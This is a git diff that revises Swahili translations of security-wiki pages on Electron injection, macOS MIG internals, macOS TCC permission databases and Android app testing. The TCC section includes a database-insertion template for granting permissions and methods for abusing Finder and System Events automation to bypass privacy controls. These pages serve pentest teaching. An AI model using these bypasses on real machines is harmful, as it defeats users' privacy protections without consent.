127.0.0.1 12345` ``` -## Marejeo +- [https://github.com/boku7/Loki](https://github.com/boku7/Loki) + +Loki ilitengenezwa ili kuingilia programu za Electron kwa kubadilisha faili za JavaScript za programu hizo na faili za JavaScript za Loki Command & Control. + + +## References - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md index 826628e52..eae8dede9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md @@ -6,21 +6,21 @@ MIG iliumbwa ili **kurahisisha mchakato wa uundaji wa Mach IPC**. Kimsingi **inazalisha msimbo unaohitajika** kwa server na mteja kuwasiliana na ufafanuzi uliopewa. Hata kama msimbo uliozalishwa ni mbaya, mendelezi atahitaji tu kuingiza na msimbo wake utakuwa rahisi zaidi kuliko kabla. -Ufafanuzi umeainishwa katika Lugha ya Ufafanuzi wa Kiolesura (IDL) kwa kutumia kiambishi cha `.defs`. +Ufafanuzi umeainishwa katika Lugha ya Ufafanuzi wa Interface (IDL) kwa kutumia kiambishi cha `.defs`. Mafafanuzi haya yana sehemu 5: - **Tangazo la subsystem**: Neno muhimu subsystem linatumika kuashiria **jina** na **id**. Pia inawezekana kuashiria kama **`KernelServer`** ikiwa server inapaswa kukimbia katika kernel. -- **Inclusions and imports**: MIG inatumia C-preprocessor, hivyo ina uwezo wa kutumia imports. Aidha, inawezekana kutumia `uimport` na `simport` kwa msimbo ulioandikwa na mtumiaji au server. -- **Matangazo ya aina**: Inawezekana kufafanua aina za data ingawa kawaida itakuwa inafanya import ya `mach_types.defs` na `std_types.defs`. Kwa zile za kawaida baadhi ya sintaks inaweza kutumika: -- \[i`n/out]tran`: Kazi ambayo inahitaji kutafsiriwa kutoka ujumbe unaoingia au kwenda ujumbe unaotoka -- `c[user/server]type`: Mchoro kwa aina nyingine ya C. -- `destructor`: Piga simu kazi hii wakati aina inachukuliwa. +- **Injizaji na uagizaji**: MIG inatumia C-preprocessor, hivyo inaweza kutumia uagizaji. Aidha, inawezekana kutumia `uimport` na `simport` kwa msimbo ulioandikwa na mtumiaji au server. +- **Matangazo ya aina**: Inawezekana kufafanua aina za data ingawa kawaida itauagiza `mach_types.defs` na `std_types.defs`. Kwa zile za kawaida baadhi ya sintaks inaweza kutumika: +- \[i`n/out]tran`: Kazi inayohitaji kutafsiriwa kutoka ujumbe unaoingia au kwenda ujumbe unaotoka +- `c[user/server]type`: Ramani kwa aina nyingine ya C. +- `destructor`: Piga simu kwa kazi hii wakati aina inachukuliwa. - **Operesheni**: Hizi ni ufafanuzi wa mbinu za RPC. Kuna aina 5 tofauti: - `routine`: Inatarajia jibu -- `simpleroutine`: Haitarajii jibu +- `simpleroutine`: Haitarajia jibu - `procedure`: Inatarajia jibu -- `simpleprocedure`: Haitarajii jibu +- `simpleprocedure`: Haitarajia jibu - `function`: Inatarajia jibu ### Example @@ -40,7 +40,7 @@ server_port : mach_port_t; n1 : uint32_t; n2 : uint32_t); ``` -Kumbuka kwamba **hoja ya kwanza ni bandari ya kuunganisha** na MIG itashughulikia **bandari ya majibu kiotomatiki** (isipokuwa unaita `mig_get_reply_port()` katika msimbo wa mteja). Aidha, **ID ya operesheni** itakuwa **mfuatano** ikianza na ID ya mfumo ulioonyeshwa (hivyo ikiwa operesheni imeondolewa inafutwa na `skip` inatumika ili bado kutumia ID yake). +Kumbuka kwamba **hoja ya kwanza ni bandari ya kuunganisha** na MIG itashughulikia **bandari ya majibu kiotomatiki** (isipokuwa unaita `mig_get_reply_port()` katika msimbo wa mteja). Zaidi ya hayo, **ID ya operesheni** itakuwa **mfuatano** ikianza na ID ya mfumo iliyoonyeshwa (hivyo ikiwa operesheni imeondolewa inafutwa na `skip` inatumika ili bado kutumia ID yake). Sasa tumia MIG kuunda msimbo wa seva na mteja ambao utaweza kuwasiliana kati yao ili kuita kazi ya Subtract: ```bash @@ -52,7 +52,7 @@ Kadhaa ya faili mpya zitaundwa katika saraka ya sasa. > Unaweza kupata mfano mgumu zaidi katika mfumo wako kwa kutumia: `mdfind mach_port.defs`\ > Na unaweza kuikamilisha kutoka kwenye folda ile ile kama faili kwa kutumia: `mig -DLIBSYSCALL_INTERFACE mach_ports.defs` -Katika faili **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tangazo na ufafanuzi wa struct **`SERVERPREFmyipc_subsystem`**, ambayo kimsingi inafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe kilichopokelewa (tulionyesha nambari ya kuanzia ya 500): +Katika faili **`myipcServer.c`** na **`myipcServer.h`** unaweza kupata tangazo na ufafanuzi wa muundo **`SERVERPREFmyipc_subsystem`**, ambao kimsingi unafafanua kazi ya kuita kulingana na kitambulisho cha ujumbe kilichopokelewa (tulionyesha nambari ya kuanzia 500): {{#tabs}} {{#tab name="myipcServer.c"}} @@ -108,7 +108,7 @@ Katika mfano huu tumefafanua tu kazi 1 katika maelezo, lakini kama tungeweza kuf Ikiwa kazi ilitarajiwa kutuma **reply** kazi `mig_internal kern_return_t __MIG_check__Reply__` pia ingekuwepo. -Kwa kweli inawezekana kubaini uhusiano huu katika struct **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`** (**`subsystem*to_name_map*\***`\*\* katika faili zingine): +Kwa kweli inawezekana kubaini uhusiano huu katika struct **`subsystem_to_name_map_myipc`** kutoka **`myipcServer.h`** (**`subsystem*to_name_map*\***`** katika faili zingine): ```c #ifndef subsystem_to_name_map_myipc #define subsystem_to_name_map_myipc \ @@ -217,13 +217,13 @@ USERPREFSubtract(port, 40, 2); ### NDR_record -NDR_record inasafirishwa na `libsystem_kernel.dylib`, na ni struct inayoruhusu MIG **kubadilisha data ili iwe huru na mfumo** ambao inatumika kwani MIG ilidhaniwa kutumika kati ya mifumo tofauti (na sio tu kwenye mashine moja). +NDR_record inasafirishwa na `libsystem_kernel.dylib`, na ni struct inayoruhusu MIG **kubadilisha data ili iweze kutumika bila kujali mfumo** inatumika kama MIG ilidhaniwa kutumika kati ya mifumo tofauti (na sio tu kwenye mashine moja). -Hii ni ya kuvutia kwa sababu ikiwa `_NDR_record` inapatikana katika binary kama utegemezi (`jtool2 -S | grep NDR` au `nm`), inamaanisha kwamba binary ni mteja au seva ya MIG. +Hii ni ya kuvutia kwa sababu ikiwa `_NDR_record` inapatikana katika binary kama utegemezi (`jtool2 -S | grep NDR` au `nm`), inamaanisha kwamba binary ni mteja au Server wa MIG. -Zaidi ya hayo, **seva za MIG** zina meza ya dispatch katika `__DATA.__const` (au katika `__CONST.__constdata` katika kernel ya macOS na `__DATA_CONST.__const` katika kernel nyingine za \*OS). Hii inaweza kutolewa kwa **`jtool2`**. +Zaidi ya hayo, **MIG servers** zina meza ya dispatch katika `__DATA.__const` (au katika `__CONST.__constdata` katika kernel ya macOS na `__DATA_CONST.__const` katika kernel nyingine za \*OS). Hii inaweza kutolewa kwa **`jtool2`**. -Na **wateja wa MIG** watatumia `__NDR_record` kutuma na `__mach_msg` kwa seva. +Na **MIG clients** zitatumia `__NDR_record` kutuma na `__mach_msg` kwa servers. ## Uchambuzi wa Binary @@ -241,7 +241,7 @@ jtool2 -d __DATA.__const myipc_server | grep BL ``` ### Assembly -Ilielezwa awali kwamba kazi ambayo itashughulikia **kuita kazi sahihi kulingana na kitambulisho cha ujumbe kilichopokelewa** ilikuwa `myipc_server`. Hata hivyo, kwa kawaida hutakuwa na alama za binary (hakuna majina ya kazi), hivyo ni ya kuvutia **kuangalia jinsi inavyoonekana baada ya kutolewa** kwani itakuwa karibu sana (kanuni ya kazi hii ni huru kutoka kwa kazi zilizowekwa): +Ilielezwa awali kwamba kazi ambayo itashughulikia **kuita kazi sahihi kulingana na kitambulisho cha ujumbe kilichopokelewa** ilikuwa `myipc_server`. Hata hivyo, kwa kawaida hutakuwa na alama za binary (hakuna majina ya kazi), hivyo ni muhimu **kuangalia inavyoonekana baada ya kutafsiriwa** kwani itakuwa karibu sawa kila wakati (kanuni ya kazi hii haitegemei kazi zilizowekwa): {{#tabs}} {{#tab name="myipc_server decompiled 1"}} @@ -259,7 +259,7 @@ var_18 = arg1; if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) { rax = *(int32_t *)(var_10 + 0x14); // Kuitisha sign_extend_64 ambayo inaweza kusaidia kutambua kazi hii -// Hii inahifadhi katika rax kiashiria cha wito ambacho kinahitaji kuitwa +// Hii inahifadhi katika rax kiashiria cha simu ambacho kinahitaji kuitwa // Angalia matumizi ya anwani 0x100004040 (array ya anwani za kazi) // 0x1f4 = 500 (kitambulisho cha kuanzia) rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040); @@ -289,7 +289,7 @@ return rax; {{#endtab}} {{#tab name="myipc_server decompiled 2"}} -Hii ni kazi ile ile iliyotolewa katika toleo tofauti la Hopper bure: +Hii ni kazi ile ile iliyotafsiriwa katika toleo tofauti la Hopper bure:
int _myipc_server(int arg0, int arg1) {
 r31 = r31 - 0x40;
@@ -332,7 +332,7 @@ if (CPU_FLAGS & NE) {
 r8 = 0x1;
 }
 }
-// Vile vile ikiwa - vinginevyo kama katika toleo la awali
+// Hali sawa kama katika toleo la awali
 // Angalia matumizi ya anwani 0x100004040 (array ya anwani za kazi)
                     if ((r8 & 0x1) == 0x0) {
                             *(var_18 + 0x18) = **0x100004000;
@@ -365,7 +365,7 @@ return r0;
 {{#endtab}}
 {{#endtabs}}
 
-Kwa kweli ikiwa utaenda kwenye kazi **`0x100004000`** utapata array ya **`routine_descriptor`** structs. Kigezo cha kwanza cha struct ni **anwani** ambapo **kazi** imeanzishwa, na **struct inachukua 0x28 bytes**, hivyo kila byte 0x28 (kuanzia byte 0) unaweza kupata byte 8 na hiyo itakuwa **anwani ya kazi** ambayo itaitwa:
+Kwa kweli ikiwa utaenda kwenye kazi **`0x100004000`** utapata array ya **`routine_descriptor`** structs. Kigezo cha kwanza cha struct ni **anwani** ambapo **kazi** imewekwa, na **struct inachukua 0x28 bytes**, hivyo kila byte 0x28 (kuanzia byte 0) unaweza kupata byte 8 na hiyo itakuwa **anwani ya kazi** ambayo itaitwa:
 
 
@@ -375,7 +375,7 @@ Data hii inaweza kutolewa [**kwa kutumia script hii ya Hopper**](https://github. ### Debug -Kanuni iliyozalishwa na MIG pia inaita `kernel_debug` ili kuzalisha kumbukumbu kuhusu operesheni kwenye kuingia na kutoka. Inawezekana kuangalia hizo kwa kutumia **`trace`** au **`kdv`**: `kdv all | grep MIG` +Kanuni iliyozalishwa na MIG pia inaita `kernel_debug` ili kuzalisha log kuhusu operesheni za kuingia na kutoka. Inawezekana kuangalia hizo kwa kutumia **`trace`** au **`kdv`**: `kdv all | grep MIG` ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 4c9799a99..ecee58ecd 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,9 +4,9 @@ ## **Basic Information** -**TCC (Transparency, Consent, and Control)** ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama **huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji, na ufikiaji wa diski nzima**. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa ruhusa ya programu kwa vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data zao. +**TCC (Transparency, Consent, and Control)** ni itifaki ya usalama inayolenga kudhibiti ruhusa za programu. Jukumu lake kuu ni kulinda vipengele nyeti kama **huduma za eneo, mawasiliano, picha, kipaza sauti, kamera, upatikanaji wa urahisi, na upatikanaji wa diski nzima**. Kwa kuhitaji idhini wazi ya mtumiaji kabla ya kutoa ruhusa kwa programu kuingia kwenye vipengele hivi, TCC inaboresha faragha na udhibiti wa mtumiaji juu ya data zao. -Watumiaji wanakutana na TCC wakati programu zinapohitaji ufikiaji wa vipengele vilivyolindwa. Hii inaonekana kupitia kipeperushi kinachowaruhusu watumiaji **kuthibitisha au kukataa ufikiaji**. Zaidi ya hayo, TCC inaruhusu vitendo vya moja kwa moja vya mtumiaji, kama **kuvuta na kuweka faili ndani ya programu**, ili kutoa ufikiaji wa faili maalum, kuhakikisha kwamba programu zina ufikiaji tu wa kile kilichoruhusiwa wazi. +Watumiaji wanakutana na TCC wakati programu zinapohitaji ruhusa kwa vipengele vilivyolindwa. Hii inaonekana kupitia kiashiria kinachowaruhusu watumiaji **kuthibitisha au kukataa ruhusa**. Zaidi ya hayo, TCC inaruhusu vitendo vya moja kwa moja vya mtumiaji, kama **kuvuta na kuacha faili ndani ya programu**, ili kutoa ruhusa kwa faili maalum, kuhakikisha kwamba programu zina upatikanaji tu kwa kile kilichoruhusiwa wazi. ![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) @@ -29,20 +29,20 @@ Ruhusa/zuia kisha zinawekwa katika baadhi ya hifadhidata za TCC: - Hifadhidata ya mfumo mzima katika **`/Library/Application Support/com.apple.TCC/TCC.db`**. - Hifadhidata hii ina **ulinzi wa SIP**, hivyo ni lazima kupita SIP ili kuandika ndani yake. - Hifadhidata ya mtumiaji TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** kwa mapendeleo ya mtumiaji binafsi. -- Hifadhidata hii inalindwa hivyo ni lazima michakato yenye ruhusa za juu za TCC kama Upatikanaji wa Disk Kamili inaweza kuandika ndani yake (lakini haijalindwa na SIP). +- Hifadhidata hii inalindwa hivyo ni lazima michakato yenye ruhusa za juu za TCC kama Upatikanaji wa Disk Kamili iweze kuandika ndani yake (lakini haijalindwa na SIP). > [!WARNING] -> Hifadhidata za awali pia zina **ulinzi wa TCC kwa upatikanaji wa kusoma**. Hivyo hu **wezi kusoma** hifadhidata yako ya kawaida ya mtumiaji TCC isipokuwa inatoka kwa mchakato wenye ruhusa za TCC. +> Hifadhidata za awali pia zina **ulinzi wa TCC kwa ufikiaji wa kusoma**. Hivyo huwezi **kusoma** hifadhidata yako ya kawaida ya mtumiaji TCC isipokuwa inatoka kwa mchakato wenye ruhusa za TCC. > -> Hata hivyo, kumbuka kwamba mchakato wenye ruhusa hizi za juu (kama **FDA** au **`kTCCServiceEndpointSecurityClient`**) utaweza kuandika hifadhidata ya TCC ya watumiaji. +> Hata hivyo, kumbuka kwamba mchakato wenye ruhusa hizi za juu (kama **FDA** au **`kTCCServiceEndpointSecurityClient`**) utaweza kuandika hifadhidata ya mtumiaji TCC. -- Kuna hifadhidata ya **tatu** ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja walio ruhusiwa **kupata huduma za eneo**. -- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/REG.db`** (pia inalindwa dhidi ya upatikanaji wa kusoma kwa TCC), ina **eneo** la hifadhidata zote za **halali za TCC**. -- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (pia inalindwa dhidi ya upatikanaji wa kusoma kwa TCC), ina ruhusa zaidi za TCC zilizotolewa. +- Kuna hifadhidata ya **tatu** ya TCC katika **`/var/db/locationd/clients.plist`** kuonyesha wateja walio ruhusiwa **kufikia huduma za eneo**. +- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/REG.db`** (pia inalindwa dhidi ya ufikiaji wa kusoma kwa TCC), ina **eneo** la hifadhidata zote za **halali za TCC**. +- Faili iliyo na ulinzi wa SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (pia inalindwa dhidi ya ufikiaji wa kusoma kwa TCC), ina ruhusa zaidi za TCC zilizotolewa. - Faili iliyo na ulinzi wa SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (inaweza kusomwa na mtu yeyote) ni orodha ya ruhusa za programu zinazohitaji ubaguzi wa TCC. > [!TIP] -> Hifadhidata ya TCC katika **iOS** iko katika **`/private/var/mobile/Library/TCC/TCC.db`** +> Hifadhidata ya TCC katika **iOS** iko katika **`/private/var/mobile/Library/TCC/TCC.db`**. > [!NOTE] > **Kituo cha arifa UI** kinaweza kufanya **mabadiliko katika hifadhidata ya TCC ya mfumo**: @@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {{#endtabs}} > [!TIP] -> Kuangalia hifadhidata zote mbili unaweza kuangalia ruhusa ambazo programu imekubali, imekataza, au haina (itauliza). +> Kuangalia hifadhidata zote mbili unaweza kuangalia ruhusa ambazo programu imekubali, imekataza, au haina (itauliza kwa hiyo). - **`service`** ni uwakilishi wa mfuatano wa **ruhusa** za TCC - **`client`** ni **bundle ID** au **njia ya binary** yenye ruhusa @@ -153,7 +153,7 @@ Fanya tu **`launctl load you_bin.plist`**, na plist kama: - **`auth_value`** inaweza kuwa na thamani tofauti: denied(0), unknown(1), allowed(2), au limited(3). - **`auth_reason`** inaweza kuchukua thamani zifuatazo: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -- Uwanja wa **csreq** upo ili kuonyesha jinsi ya kuthibitisha binary ili kutekeleza na kutoa ruhusa za TCC: +- Uwanja wa **csreq** uko hapo kuonyesha jinsi ya kuthibitisha binary ili kutekeleza na kutoa ruhusa za TCC: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; @@ -171,7 +171,7 @@ echo "X'$REQ_HEX'" ``` - Kwa maelezo zaidi kuhusu **sehemu nyingine** za jedwali [**angalia chapisho hili la blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). -Unaweza pia kuangalia **idhini zilizotolewa tayari** kwa programu katika `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`. +Unaweza pia kuangalia **idhini ambazo tayari zimetolewa** kwa programu katika `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`. > [!TIP] > Watumiaji _wanaweza_ **kufuta au kuuliza sheria** kwa kutumia **`tccutil`**. @@ -186,7 +186,7 @@ tccutil reset All ``` ### TCC Signature Checks -Hifadhi ya TCC **inahifadhi** **Bundle ID** ya programu, lakini pia **inahifadhi** **habari** kuhusu **sahihi** ili **kuhakikisha** App inayotaka kutumia ruhusa ni sahihi. +The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **information** about the **signature** to **make sure** the App asking to use the a permission is the correct one. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -199,16 +199,16 @@ csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram" ``` > [!WARNING] -> Hivyo, programu nyingine zinazotumia jina moja na ID ya kifurushi hazitaweza kupata ruhusa zilizotolewa kwa programu nyingine. +> Kwa hivyo, programu nyingine zinazotumia jina sawa na ID ya kifurushi hazitaweza kupata ruhusa zilizotolewa kwa programu nyingine. ### Haki & Ruhusa za TCC -Programu **hazihitaji tu** **kuomba** na **kupewa ruhusa** kwa baadhi ya rasilimali, zinahitaji pia **kuwa na haki zinazofaa**.\ -Kwa mfano, **Telegram** ina haki `com.apple.security.device.camera` kuomba **ruhusa ya kutumia kamera**. Programu **ambayo haina** haki hii **haitaweza** kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa). +Programu **hazihitaji tu** ku **omba** na kupewa **ruhsusa** kwa baadhi ya rasilimali, zinahitaji pia **kuwa na haki zinazohusiana.**\ +Kwa mfano, **Telegram** ina haki `com.apple.security.device.camera` kuomba **ruhsusa ya kutumia kamera.** Programu **ambayo** **haina** haki hii **haitaweza** kupata kamera (na mtumiaji hataulizwa kuhusu ruhusa). -Hata hivyo, ili programu **zipate** **kufikia** **folda fulani za mtumiaji**, kama vile `~/Desktop`, `~/Downloads` na `~/Documents`, **hazihitaji** kuwa na haki maalum **zozote.** Mfumo utaendesha ufikiaji kwa uwazi na **kuuliza mtumiaji** inapohitajika. +Hata hivyo, ili programu **zipate** **kufikia** **folda fulani za mtumiaji**, kama `~/Desktop`, `~/Downloads` na `~/Documents`, **hazihitaji** kuwa na haki maalum **zaidi.** Mfumo utaendesha ufikiaji kwa uwazi na **kuuliza mtumiaji** inapohitajika. -Programu za Apple **hazitaunda maonyesho**. Zinajumuisha **haki zilizotolewa mapema** katika orodha yao ya **haki**, ikimaanisha hazita **wahi kuunda popup**, **wala** hazitaonekana katika yoyote ya **maktaba za TCC.** Kwa mfano: +Programu za Apple **hazitaunda maonyesho.** Zinashikilia **haki zilizotolewa mapema** katika orodha yao ya **haki**, ikimaanisha hazita **unda popup** kamwe, **wala** hazitaonekana katika yoyote ya **maktaba za TCC.** Kwa mfano: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -219,12 +219,12 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app kTCCServiceAddressBook ``` -Hii itakwepa Calendar kuomba mtumiaji kupata kumbukumbu, kalenda na kitabu cha anwani. +Hii itazuia Calendar kumuuliza mtumiaji kupata kumbukumbu, kalenda na kitabu cha anwani. > [!TIP] > Mbali na baadhi ya nyaraka rasmi kuhusu ruhusa, pia inawezekana kupata **habari za kuvutia kuhusu ruhusa katika** [**https://newosxbook.com/ent.jl**](https://newosxbook.com/ent.jl) -Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia hii [**orodha ya zinazojulikana**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service). +Baadhi ya ruhusa za TCC ni: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Hakuna orodha ya umma inayofafanua zote lakini unaweza kuangalia hii [**orodha ya zile zinazojulikana**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service). ### Mahali salama yasiyolindwa @@ -258,13 +258,13 @@ Sifa ya ziada `com.apple.macl` **haiwezi kufutwa** kama sifa nyingine za ziada k ## TCC Privesc & Bypasses -### Ingiza kwenye TCC +### Ingiza katika TCC -Ikiwa katika wakati fulani unafanikiwa kupata ufikiaji wa kuandika kwenye hifadhidata ya TCC unaweza kutumia kitu kama ifuatavyo kuongeza kipengee (ondoa maoni): +Ikiwa kwa wakati fulani unafanikiwa kupata ufikiaji wa kuandika juu ya hifadhidata ya TCC unaweza kutumia kitu kama ifuatavyo kuongeza kipengee (ondoa maoni):
-Ingiza kwenye TCC mfano +Ingiza katika TCC mfano ```sql INSERT INTO access ( service, @@ -325,9 +325,9 @@ macos-apple-events.md ### Automation (Finder) to FDA\* Jina la TCC la ruhusa ya Automation ni: **`kTCCServiceAppleEvents`**\ -Ruhusa hii maalum ya TCC pia inaashiria **programu ambayo inaweza kudhibitiwa** ndani ya database ya TCC (hivyo ruhusa haziruhusu kudhibiti kila kitu). +Ruhusa hii maalum ya TCC pia inaonyesha **programu ambayo inaweza kudhibitiwa** ndani ya hifadhidata ya TCC (hivyo ruhusa haziruhusu kudhibiti kila kitu). -**Finder** ni programu ambayo **daima ina FDA** (hata kama haionekani kwenye UI), hivyo ikiwa una **Automation** ruhusa juu yake, unaweza kutumia ruhusa zake ili **kuifanya ifanye baadhi ya vitendo**.\ +**Finder** ni programu ambayo **daima ina FDA** (hata kama haionekani kwenye UI), hivyo ikiwa una **ruhusa za Automation** juu yake, unaweza kutumia ruhusa zake ili **kufanya vitendo vingine**.\ Katika kesi hii programu yako itahitaji ruhusa **`kTCCServiceAppleEvents`** juu ya **`com.apple.Finder`**. {{#tabs}} @@ -361,9 +361,9 @@ EOD Unaweza kutumia hii **kuandika database yako ya TCC ya mtumiaji**. > [!WARNING] -> Kwa ruhusa hii utaweza **kuomba finder kufikia folda zilizozuiliwa za TCC** na kukupa faili, lakini kadri ninavyojua huwezi **kufanya Finder itekeleze msimbo wowote** ili kutumia kikamilifu ufikiaji wake wa FDA. +> Kwa ruhusa hii utaweza **kuomba finder kufikia folda zilizozuiwa za TCC** na kukupa faili, lakini kwa maelezo ninayojua huwezi **kufanya Finder itekeleze msimbo wowote** ili kutumia kikamilifu ufikiaji wake wa FDA. > -> Hivyo basi, huwezi kutumia uwezo wote wa FDA. +> Hivyo, huwezi kutumia uwezo wote wa FDA. Hii ni prompt ya TCC kupata ruhusa za Automation juu ya Finder: @@ -400,7 +400,7 @@ Vivyo hivyo na **Script Editor app,** inaweza kudhibiti Finder, lakini kwa kutum ### Automation (SE) kwa baadhi ya TCC -**Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na Vitendo vya Folda vinaweza kufikia baadhi ya folda za TCC** (Desktop, Documents & Downloads), hivyo script kama ifuatayo inaweza kutumika kuboresha tabia hii: +**Matukio ya Mfumo yanaweza kuunda Vitendo vya Folda, na vitendo vya folda vinaweza kufikia baadhi ya folda za TCC** (Desktop, Documents & Downloads), hivyo script kama ifuatayo inaweza kutumika kuboresha tabia hii: ```bash # Create script to execute with the action cat > "/tmp/script.js" < [!NOTE] -> Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine. +> Kuanzia na Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine. **Taarifa nyeti zilizohifadhiwa kwa maandiko wazi** @@ -143,17 +143,17 @@ Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama B ### Uthibitishaji wa Kificho -**Mchakato Duni wa Usimamizi wa Funguo** +**Mchakato Mbaya wa Usimamizi wa Funguo** -Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/kupangwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri. +Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri. **Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati** -Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi wa uthibitishaji**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi. +Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi. ### Ukaguzi Mwingine -- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji. +- Inapendekezwa **kuficha APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua zinazofaa. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika. - Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa. @@ -177,11 +177,11 @@ Soma ukurasa ufuatao kujifunza jinsi ya kufikia kwa urahisi msimbo wa C# wa prog ### Programu za Superpacked -Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshughulikia maudhui ya programu katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshughulikia programu hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshughulikiwa kutoka kwa mfumo wa faili.** +Kulingana na [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu kuwa katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa 